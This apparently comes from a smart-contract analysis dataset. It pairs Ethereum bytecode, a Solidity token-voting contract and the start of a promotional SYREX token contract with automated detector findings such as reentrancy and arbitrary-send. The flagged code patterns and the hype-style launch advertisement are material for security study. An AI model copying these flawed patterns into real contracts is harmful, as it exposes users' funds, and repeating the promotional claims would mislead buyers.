05090565b600081836117045760405162461bcd60e51b815260040161052a9190611bf2565b50600061124d8486611d02565b600061135883836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118ba565b6009541580156117635750600a54155b1561176a57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611793876118ee565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c5908761194b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f49086611583565b6001600160a01b0389166000908152600260205260409020556118168161198d565b61182084836119d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186591815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189482826115e2565b8210156118b157505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118db5760405162461bcd60e51b815260040161052a9190611bf2565b506118e68385611d67565b949350505050565b600080600080600080600080600061190b8a600954600a546119fb565b925092509250600061191b6116c0565b9050600080600061192e8e878787611a4a565b919e509c509a509598509396509194505050505091939550919395565b600061135883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121c565b60006119976116c0565b905060006119a58383611504565b306000908152600260205260409020549091506119c29082611583565b30600090815260026020526040902055505050565b6007546119e4908361194b565b6007556008546119f49082611583565b6008555050565b6000808080611a0f606461116e8989611504565b90506000611a22606461116e8a89611504565b90506000611a3a82611a348b8661194b565b9061194b565b9992985090965090945050505050565b6000808080611a598886611504565b90506000611a678887611504565b90506000611a758888611504565b90506000611a8782611a34868661194b565b939b939a50919850919650505050505050565b600060208284031215611aab578081fd5b813561135881611da7565b600060208284031215611ac7578081fd5b815161135881611da7565b60008060408385031215611ae4578081fd5b8235611aef81611da7565b91506020830135611aff81611da7565b809150509250929050565b600080600060608486031215611b1e578081fd5b8335611b2981611da7565b92506020840135611b3981611da7565b929592945050506040919091013590565b60008060408385031215611b5c578182fd5b8235611b6781611da7565b946020939093013593505050565b600060208284031215611b86578081fd5b813561135881611dbc565b600060208284031215611ba2578081fd5b815161135881611dbc565b600060208284031215611bbe578081fd5b5035919050565b600080600060608486031215611bd9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1e57858101830151858201604001528201611c02565b81811115611c2f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc95784516001600160a01b031683529383019391830191600101611ca4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfd57611cfd611d7b565b500190565b600082611d1157611d11611d91565b500490565b6000816000190483118215151615611d3057611d30611d7b565b500290565b600082821015611d4757611d47611d7b565b500390565b6000600019821415611d6057611d60611d7b565b5060010190565b600082611d7657611d76611d91565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063b57600080fd5b801515811461063b57600080fdfe4d45474150484f4e452e43415348207c20742e6d652f6d65676170686f6e656361736845524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122038143a1638b322dcd85002a4ccb866922600d8afc8cef1a82fd45aba47fb476664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,375 |
0xf7307214a99b7be7c66bd5205f7d97c7902276b2
|
pragma solidity ^0.4.21;
/**
* @title BytesTools
* @dev Useful tools for bytes type
*/
library BytesTools {
/**
* @dev Parses n of type bytes to uint256
*/
function parseInt(bytes n) internal pure returns (uint256) {
uint256 parsed = 0;
bool decimals = false;
for (uint256 i = 0; i < n.length; i++) {
if ( n[i] >= 48 && n[i] <= 57) {
if (decimals) break;
parsed *= 10;
parsed += uint256(n[i]) - 48;
} else if (n[i] == 46) {
decimals = true;
}
}
return parsed;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
/**
* @dev Powers the first number to the second, throws on overflow.
*/
function pow(uint a, uint b) internal pure returns (uint) {
if (b == 0) {
return 1;
}
uint c = a ** b;
assert(c >= a);
return c;
}
/**
* @dev Multiplies the given number by 10**decimals
*/
function withDecimals(uint number, uint decimals) internal pure returns (uint) {
return mul(number, pow(10, decimals));
}
}
/**
* @title Contract that will work with ERC223 tokens
*/
contract ERC223Reciever {
/**
* @dev Standard ERC223 function that will handle incoming token transfers
*
* @param _from address Token sender address
* @param _value uint256 Amount of tokens
* @param _data bytes Transaction metadata
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public potentialOwner;
event OwnershipRemoved(address indexed previousOwner);
event OwnershipTransfer(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyPotentialOwner() {
require(msg.sender == potentialOwner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address of potential new owner to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransfer(owner, newOwner);
potentialOwner = newOwner;
}
/**
* @dev Allow the potential owner confirm ownership of the contract.
*/
function confirmOwnership() public onlyPotentialOwner {
emit OwnershipTransferred(owner, potentialOwner);
owner = potentialOwner;
potentialOwner = address(0);
}
/**
* @dev Remove the contract owner permanently
*/
function removeOwnership() public onlyOwner {
emit OwnershipRemoved(owner);
owner = address(0);
}
}
/**
* @title UKT Token Voting contract
* @author Oleg Levshin <levshin@ucoz-team.net>
*/
contract UKTTokenVoting is ERC223Reciever, Ownable {
using SafeMath for uint256;
using BytesTools for bytes;
struct Vote {
uint256 proposalIdx;
uint256 tokensValue;
uint256 weight;
address tokenContractAddress;
uint256 blockNumber;
}
mapping(address => bool) public acceptedTokens;
mapping(address => uint256) public acceptedTokensValues;
bytes32[] public proposals;
mapping (uint256 => uint256) public proposalsWeights;
uint256 public dateStart;
uint256 public dateEnd;
address[] public voters;
mapping (address => Vote) public votes;
bool public isFinalized = false;
bool public isFinalizedValidly = false;
event NewVote(address indexed voter, uint256 proposalIdx, uint256 proposalWeight);
event TokensClaimed(address to);
event TokensRefunded(address to);
function UKTTokenVoting(
uint256 _dateEnd,
bytes32[] _proposals,
address[] _acceptedTokens,
uint256[] _acceptedTokensValues
) public {
require(_dateEnd > now);
require(_proposals.length > 1);
require(_acceptedTokens.length > 0);
require(_acceptedTokensValues.length > 0);
require(_acceptedTokens.length == _acceptedTokensValues.length);
dateStart = now;
dateEnd = _dateEnd;
proposals.push("Not valid proposal");
proposalsWeights[0] = 0;
for(uint256 i = 0; i < _proposals.length; i++) {
proposals.push(_proposals[i]);
proposalsWeights[i+1] = 0;
}
for(uint256 j = 0; j < _acceptedTokens.length; j++) {
acceptedTokens[_acceptedTokens[j]] = true;
acceptedTokensValues[_acceptedTokens[j]] = _acceptedTokensValues[j];
}
}
/**
* @dev Executes automatically when user transfer his token to this contract address
*/
function tokenFallback(
address _from,
uint256 _value,
bytes _data
) external returns (bool) {
// voting hasn't ended yet
require(now < dateEnd);
// executed from contract in acceptedTokens
require(acceptedTokens[msg.sender] == true);
// value of tokens is enough for voting
require(_value >= acceptedTokensValues[msg.sender]);
// give proposal index is valid
uint256 proposalIdx = _data.parseInt();
require(isValidProposal(proposalIdx));
// user hasn't voted yet
require(isAddressNotVoted(_from));
uint256 weight = _value.div(acceptedTokensValues[msg.sender]);
votes[_from] = Vote(proposalIdx, _value, weight, msg.sender, block.number);
voters.push(_from);
proposalsWeights[proposalIdx] = proposalsWeights[proposalIdx].add(weight);
emit NewVote(_from, proposalIdx, proposalsWeights[proposalIdx]);
return true;
}
/**
* @dev Gets winner tuple after voting is finished
*/
function getWinner() external view returns (uint256 winnerIdx, bytes32 winner, uint256 winnerWeight) {
require(now >= dateEnd);
winnerIdx = 0;
winner = proposals[winnerIdx];
winnerWeight = proposalsWeights[winnerIdx];
for(uint256 i = 1; i < proposals.length; i++) {
if(proposalsWeights[i] >= winnerWeight) {
winnerIdx = i;
winner = proposals[winnerIdx];
winnerWeight = proposalsWeights[i];
}
}
if (winnerIdx > 0) {
for(uint256 j = 1; j < proposals.length; j++) {
if(j != winnerIdx && proposalsWeights[j] == proposalsWeights[winnerIdx]) {
return (0, proposals[0], proposalsWeights[0]);
}
}
}
return (winnerIdx, winner, winnerWeight);
}
/**
* @dev Finalizes voting
*/
function finalize(bool _isFinalizedValidly) external onlyOwner {
require(now >= dateEnd && ! isFinalized);
isFinalized = true;
isFinalizedValidly = _isFinalizedValidly;
}
/**
* @dev Allows voter to claim his tokens back to address
*/
function claimTokens() public returns (bool) {
require(isAddressVoted(msg.sender));
require(transferTokens(msg.sender));
emit TokensClaimed(msg.sender);
return true;
}
/**
* @dev Refunds tokens for all voters
*/
function refundTokens(address to) public onlyOwner returns (bool) {
if(to != address(0)) {
return _refundTokens(to);
}
for(uint256 i = 0; i < voters.length; i++) {
_refundTokens(voters[i]);
}
return true;
}
/**
* @dev Checks proposal index for validity
*/
function isValidProposal(uint256 proposalIdx) private view returns (bool) {
return (
proposalIdx > 0 &&
proposals[proposalIdx].length > 0
);
}
/**
* @dev Return true if address not voted yet
*/
function isAddressNotVoted(address _address) private view returns (bool) {
// solium-disable-next-line operator-whitespace
return (
// solium-disable-next-line operator-whitespace
votes[_address].proposalIdx == 0 &&
votes[_address].tokensValue == 0 &&
votes[_address].weight == 0 &&
votes[_address].tokenContractAddress == address(0) &&
votes[_address].blockNumber == 0
);
}
/**
* @dev Return true if address already voted
*/
function isAddressVoted(address _address) private view returns (bool) {
return ! isAddressNotVoted(_address);
}
/**
* @dev Trasnfer tokens to voter
*/
function transferTokens(address to) private returns (bool) {
Vote memory vote = votes[to];
if(vote.tokensValue == 0) {
return true;
}
votes[to].tokensValue = 0;
if ( ! isFinalized) {
votes[to] = Vote(0, 0, 0, address(0), 0);
proposalsWeights[vote.proposalIdx] = proposalsWeights[vote.proposalIdx].sub(vote.weight);
}
return vote.tokenContractAddress.call(bytes4(keccak256("transfer(address,uint256)")), to, vote.tokensValue);
}
/**
* @dev Refunds tokens to particular address
*/
function _refundTokens(address to) private returns (bool) {
require(transferTokens(to));
emit TokensRefunded(to);
return true;
}
}
/**
* @title UKT Token Voting Factory contract
* @author Oleg Levshin <levshin@ucoz-team.net>
*/
contract UKTTokenVotingFactory is Ownable {
address[] public votings;
mapping(address => int256) public votingsWinners;
event VotingCreated(address indexed votingAddress, uint256 dateEnd, bytes32[] proposals, address[] acceptedTokens, uint256[] acceptedTokensValues);
event WinnerSetted(address indexed votingAddress, uint256 winnerIdx, bytes32 winner, uint256 winnerWeight);
event VotingFinalized(address indexed votingAddress, bool isFinalizedValidly);
/**
* @dev Checks voting contract address for validity
*/
function isValidVoting(address votingAddress) private view returns (bool) {
for (uint256 i = 0; i < votings.length; i++) {
if (votings[i] == votingAddress) {
return true;
}
}
return false;
}
/**
* @dev Creates new instance of UKTTokenVoting contract with given params
*/
function getNewVoting(
uint256 dateEnd,
bytes32[] proposals,
address[] acceptedTokens,
uint256[] acceptedTokensValues
) public onlyOwner returns (address votingAddress) {
votingAddress = address(new UKTTokenVoting(dateEnd, proposals, acceptedTokens, acceptedTokensValues));
emit VotingCreated(votingAddress, dateEnd, proposals, acceptedTokens, acceptedTokensValues);
votings.push(votingAddress);
votingsWinners[votingAddress] = -1;
return votingAddress;
}
/**
* @dev Refunds tokens for all voters
*/
function refundVotingTokens(address votingAddress, address to) public onlyOwner returns (bool) {
require(isValidVoting(votingAddress));
return UKTTokenVoting(votingAddress).refundTokens(to);
}
/**
* @dev Sets calculated proposalIdx as voting winner
*/
function setVotingWinner(address votingAddress) public onlyOwner {
require(votingsWinners[votingAddress] == -1);
uint256 winnerIdx;
bytes32 winner;
uint256 winnerWeight;
(winnerIdx, winner, winnerWeight) = UKTTokenVoting(votingAddress).getWinner();
bool isFinalizedValidly = winnerIdx > 0;
UKTTokenVoting(votingAddress).finalize(isFinalizedValidly);
emit VotingFinalized(votingAddress, isFinalizedValidly);
votingsWinners[votingAddress] = int256(winnerIdx);
emit WinnerSetted(votingAddress, winnerIdx, winner, winnerWeight);
}
/**
* @dev Gets voting winner
*/
function getVotingWinner(address votingAddress) public view returns (bytes32) {
require(votingsWinners[votingAddress] > -1);
return UKTTokenVoting(votingAddress).proposals(uint256(votingsWinners[votingAddress]));
}
}
|
0x606060405260043610620000a15763ffffffff60e060020a6000350416630151cf1d8114620000a65780632784e3f314620000ca5780634c35232314620001065780637762df2514620001f9578063872568ac146200020f5780638da5cb5b1462000243578063a598d03c1462000259578063a71ef84d1462000272578063d5d1e7701462000294578063d99bb9f714620002aa578063f2fde38b14620002c0575b600080fd5b3415620000b257600080fd5b620000c8600160a060020a0360043516620002e2565b005b3415620000d657600080fd5b620000f2600160a060020a0360043581169060243516620004a0565b604051901515815260200160405180910390f35b34156200011257600080fd5b620001dd6004803590604460248035908101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506200054195505050505050565b604051600160a060020a03909116815260200160405180910390f35b34156200020557600080fd5b620001dd620007e0565b34156200021b57600080fd5b62000231600160a060020a0360043516620007ef565b60405190815260200160405180910390f35b34156200024f57600080fd5b620001dd62000801565b34156200026557600080fd5b620001dd60043562000810565b34156200027e57600080fd5b62000231600160a060020a036004351662000839565b3415620002a057600080fd5b620000c8620008d4565b3415620002b657600080fd5b620000c862000963565b3415620002cc57600080fd5b620000c8600160a060020a0360043516620009d6565b6000805481908190819033600160a060020a039081169116146200030557600080fd5b600160a060020a038516600090815260036020526040902054600019146200032c57600080fd5b84600160a060020a0316638e7ea5b26040518163ffffffff1660e060020a028152600401606060405180830381600087803b15156200036a57600080fd5b5af115156200037857600080fd5b505050604051805190602001805190602001805192965090945090925050600084119050600160a060020a038516636c9789b08260405160e060020a63ffffffff84160281529015156004820152602401600060405180830381600087803b1515620003e357600080fd5b5af11515620003f157600080fd5b50505084600160a060020a03167f88dd6f663d7540029c30f5fe69df52918fa07f38982d322ed1970a3b075990c282604051901515815260200160405180910390a2600160a060020a038516600081815260036020526040908190208690557f3fc0c912b51a23e5a235ef0d70b4328248c4f7e6348f90ebdf529fad5483d7ae908690869086905192835260208301919091526040808301919091526060909101905180910390a25050505050565b6000805433600160a060020a03908116911614620004bd57600080fd5b620004c88362000a73565b1515620004d457600080fd5b82600160a060020a031663455ca9bd8360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156200052357600080fd5b5af115156200053157600080fd5b5050506040518051949350505050565b6000805433600160a060020a039081169116146200055e57600080fd5b848484846200056c62000ad6565b80858152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015620005b95780820151838201526020016200059f565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015620005fa578082015183820152602001620005e0565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156200063b57808201518382015260200162000621565b50505050905001975050505050505050604051809103906000f08015156200066257600080fd5b905080600160a060020a03167f830ad39741bbfdebb5d79e6075c78ba7a885035bf070c532a7ecc51cce3882948686868660405180858152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015620006e3578082015183820152602001620006c9565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015620007245780820151838201526020016200070a565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015620007655780820151838201526020016200074b565b5050505090500197505050505050505060405180910390a2600280546001810162000791838262000ae7565b506000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038516908117909155825260039052604090206000199055949350505050565b600154600160a060020a031681565b60036020526000908152604090205481565b600054600160a060020a031681565b60028054829081106200081f57fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a03811660009081526003602052604081205460001990136200086157600080fd5b600160a060020a038216600081815260036020526040908190205463013cf08b915160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515620008b757600080fd5b5af11515620008c557600080fd5b50505060405180519392505050565b60015433600160a060020a03908116911614620008f057600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60005433600160a060020a039081169116146200097f57600080fd5b600054600160a060020a03167f86d076ecf250a6d90a67a7c75317f44709d5001395ecf1df6d9dad5278f1e68160405160405180910390a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60005433600160a060020a03908116911614620009f257600080fd5b600160a060020a038116151562000a0857600080fd5b600054600160a060020a0380831691167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805b60025481101562000acb5782600160a060020a031660028281548110151562000a9c57fe5b600091825260209091200154600160a060020a0316141562000ac2576001915062000ad0565b60010162000a77565b600091505b50919050565b6040516113868062000b3883390190565b81548183558181151162000b0e5760008381526020902062000b0e91810190830162000b13565b505050565b62000b3491905b8082111562000b30576000815560010162000b1a565b5090565b9056006060604052600a805461ffff1916905534156200001b57600080fd5b6040516200138638038062001386833981016040528080519190602001805182019190602001805182019190602001805160008054600160a060020a03191633600160a060020a03161781559201919050804286116200007a57600080fd5b60018551116200008957600080fd5b60008451116200009857600080fd5b6000835111620000a757600080fd5b8251845114620000b657600080fd5b4260065560078690556004805460018101620000d3838262000249565b50600091825260208083207f4e6f742076616c69642070726f706f73616c0000000000000000000000000000920191909155818052600590527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc81905591505b84518210156200019557600480546001810162000151838262000249565b916000526020600020900160008785815181106200016b57fe5b90602001906020020151909155505060019091016000818152600560205260408120559062000133565b5060005b83518110156200023d57600160026000868481518110620001b657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055828181518110620001f557fe5b90602001906020020151600360008684815181106200021057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205560010162000199565b50505050505062000299565b81548183558181151162000270576000838152602090206200027091810190830162000275565b505050565b6200029691905b808211156200029257600081556001016200027c565b5090565b90565b6110dd80620002a96000396000f3006060604052600436106100f85763ffffffff60e060020a600035041663013cf08b81146100fd5780630d57cc3214610125578063455ca9bd1461013b578063487429311461016e57806348c54b9d1461018d5780636c9789b0146101a05780637762df25146101ba57806382dc4a05146101e957806389244e2a146102085780638d4e40831461021b5780638da5cb5b1461022e5780638e7ea5b214610241578063a3b6120c14610278578063c0ee0b8a1461028b578063d5d1e770146102ba578063d8bff5a5146102cd578063d99bb9f714610326578063da58c7d914610339578063f1f092e21461034f578063f2fde38b14610362575b600080fd5b341561010857600080fd5b610113600435610381565b60405190815260200160405180910390f35b341561013057600080fd5b6101136004356103a0565b341561014657600080fd5b61015a600160a060020a03600435166103b2565b604051901515815260200160405180910390f35b341561017957600080fd5b610113600160a060020a036004351661043d565b341561019857600080fd5b61015a61044f565b34156101ab57600080fd5b6101b860043515156104bd565b005b34156101c557600080fd5b6101cd61051c565b604051600160a060020a03909116815260200160405180910390f35b34156101f457600080fd5b61015a600160a060020a036004351661052b565b341561021357600080fd5b610113610540565b341561022657600080fd5b61015a610546565b341561023957600080fd5b6101cd61054f565b341561024c57600080fd5b61025461055e565b60405192835260208301919091526040808301919091526060909101905180910390f35b341561028357600080fd5b6101136106b7565b341561029657600080fd5b61015a60048035600160a060020a03169060248035916044359182019101356106bd565b34156102c557600080fd5b6101b861090a565b34156102d857600080fd5b6102ec600160a060020a0360043516610998565b6040519485526020850193909352604080850192909252600160a060020a03166060840152608083019190915260a0909101905180910390f35b341561033157600080fd5b6101b86109d0565b341561034457600080fd5b6101cd600435610a42565b341561035a57600080fd5b61015a610a6a565b341561036d57600080fd5b6101b8600160a060020a0360043516610a78565b600480548290811061038f57fe5b600091825260209091200154905081565b60056020526000908152604090205481565b60008054819033600160a060020a039081169116146103d057600080fd5b600160a060020a038316156103ef576103e883610b13565b9150610437565b5060005b6008548110156104325761042960088281548110151561040f57fe5b600091825260209091200154600160a060020a0316610b13565b506001016103f3565b600191505b50919050565b60036020526000908152604090205481565b600061045a33610b6e565b151561046557600080fd5b61046e33610b80565b151561047957600080fd5b7fb638240958296a5b145c2f18c8ec62f72a20911efab2d38fb48c76695373761f33604051600160a060020a03909116815260200160405180910390a15060015b90565b60005433600160a060020a039081169116146104d857600080fd5b60075442101580156104ed5750600a5460ff16155b15156104f857600080fd5b600a80549115156101000261ff001960ff1990931660011792909216919091179055565b600154600160a060020a031681565b60026020526000908152604090205460ff1681565b60075481565b600a5460ff1681565b600054600160a060020a031681565b6000806000806000600754421015151561057757600080fd5b60048054600096508690811061058957fe5b906000526020600020900154935060056000868152602001908152602001600020549250600191505b60045482101561061457600082815260056020526040902054839010610609578194506004858154811015156105e457fe5b9060005260206000209001549350600560008381526020019081526020016000205492505b6001909101906105b2565b60008511156106b0575060015b6004548110156106b05784811415801561064e575060008581526005602052604080822054838352912054145b156106a85760006004600081548110151561066557fe5b6000918252602080832090910154918052600590527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54919650945092506106b0565b600101610621565b5050909192565b60065481565b6000806000600754421015156106d257600080fd5b600160a060020a03331660009081526002602052604090205460ff1615156001146106fc57600080fd5b600160a060020a03331660009081526003602052604090205486101561072157600080fd5b61075985858080601f016020809104026020016040519081016040528181529291906020840183838082843750610d8d945050505050565b915061076482610f15565b151561076f57600080fd5b61077887610f40565b151561078357600080fd5b600160a060020a0333166000908152600360205260409020546107ad90879063ffffffff610ff216565b905060a060405190810160409081528382526020808301899052818301849052600160a060020a0333811660608501524360808501528a166000908152600990915220815181556020820151816001015560408201518160020155606082015160038201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055608082015160049091015550600880546001810161085a8382611031565b506000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038b161790558382526005905260409020546108a59082611009565b60008381526005602052604090819020829055600160a060020a038916917f2fa70e1827070583e9d005d8f9615a3c9da46a089c016cf9cd32b1345a473802918591905191825260208201526040908101905180910390a25060019695505050505050565b60015433600160a060020a0390811691161461092557600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60096020526000908152604090208054600182015460028301546003840154600490940154929391929091600160a060020a03169085565b60005433600160a060020a039081169116146109eb57600080fd5b600054600160a060020a03167f86d076ecf250a6d90a67a7c75317f44709d5001395ecf1df6d9dad5278f1e68160405160405180910390a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6008805482908110610a5057fe5b600091825260209091200154600160a060020a0316905081565b600a54610100900460ff1681565b60005433600160a060020a03908116911614610a9357600080fd5b600160a060020a0381161515610aa857600080fd5b600054600160a060020a0380831691167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610b1e82610b80565b1515610b2957600080fd5b7f1a0283e44286180a166af2eae16eaec48f3844fa046d012d6c62247ad8c86e1882604051600160a060020a03909116815260200160405180910390a1506001919050565b6000610b7982610f40565b1592915050565b6000610b8a61105a565b600160a060020a038316600090815260096020526040908190209060a090519081016040908152825482526001830154602083019081526002840154918301919091526003830154600160a060020a0316606083015260049092015460808201529150511515610bfd5760019150610437565b600160a060020a038316600090815260096020526040812060010155600a5460ff161515610cff5760a06040519081016040908152600080835260208084018290528284018290526060840182905260808401829052600160a060020a03871682526009905220815181556020820151816001015560408201518160020155606082015160038201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055608082015160049091015550610ce7604082015160056000845181526020019081526020016000205461101f90919063ffffffff16565b60056000835181526020810191909152604001600020555b8060600151600160a060020a03166040517f7472616e7366657228616464726573732c75696e7432353629000000000000008152601901604051809103902060e060020a900484836020015160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260248201526044016000604051808303816000875af19695505050505050565b60008080805b8451811015610f0c577f3000000000000000000000000000000000000000000000000000000000000000858281518110610dc957fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015610e6a57507f3900000000000000000000000000000000000000000000000000000000000000858281518110610e3357fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b15610eb1578115610e7a57610f0c565b600a830292506030858281518110610e8e57fe5b016020015160f860020a900460f860020a0260f860020a90040383019250610f04565b848181518110610ebd57fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916602e60f860020a021415610f0457600191505b600101610d93565b50909392505050565b60008082118015610f3a57506000600483815481101515610f3257fe5b506000526020115b92915050565b600160a060020a038116600090815260096020526040812054158015610f7f5750600160a060020a038216600090815260096020526040902060010154155b8015610fa45750600160a060020a038216600090815260096020526040902060020154155b8015610fcb5750600160a060020a0382811660009081526009602052604090206003015416155b8015610f3a575050600160a060020a03166000908152600960205260409020600401541590565b600080828481151561100057fe5b04949350505050565b60008282018381101561101857fe5b9392505050565b60008282111561102b57fe5b50900390565b81548183558181151161105557600083815260209020611055918101908301611093565b505050565b60a0604051908101604052806000815260200160008152602001600081526020016000600160a060020a03168152602001600081525090565b6104ba91905b808211156110ad5760008155600101611099565b50905600a165627a7a7230582021437ded56022e163ffd9d7818783773137685a6a3dd9c82be5b57d5ef870a550029a165627a7a723058200d239fffe334ed409c0ebf61edbd4c09be8e1c0870295135ce97cc0ebc56cb580029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,376 |
0x3de46eeb9b93d96bde9c08a63021512ecaf4c316
|
/**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
/*
🥶SYREX🥶
🚀BIG UPCOMING LAUNCH🚀
SAIYANS THIS A CANT MISS LAUNCH!
Batman has been rebranded and is set to release as SYREX! We know how hard Batman ran Saiyans..With a based team behind this and a strong community in place this is looking like a hyped launch.
GET IN THERE NOW SO YOU DONT MISS THE RELAUNCH!
TEAMS GOT SO MUCH STUFF COMING WITH THE LAUNCH!
I REPEAT DO NOT MISS THIS NEXT VEGGIE ALPHA!
Website : https://syrex.network/
Discord: https://discord.com/invite/dQnUrnTzvk
Twitter: https://twitter.com/syrex_official
Medium: https://medium.com/@syrexofficial
Telegram: https://t.me/SyrexOfficial
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
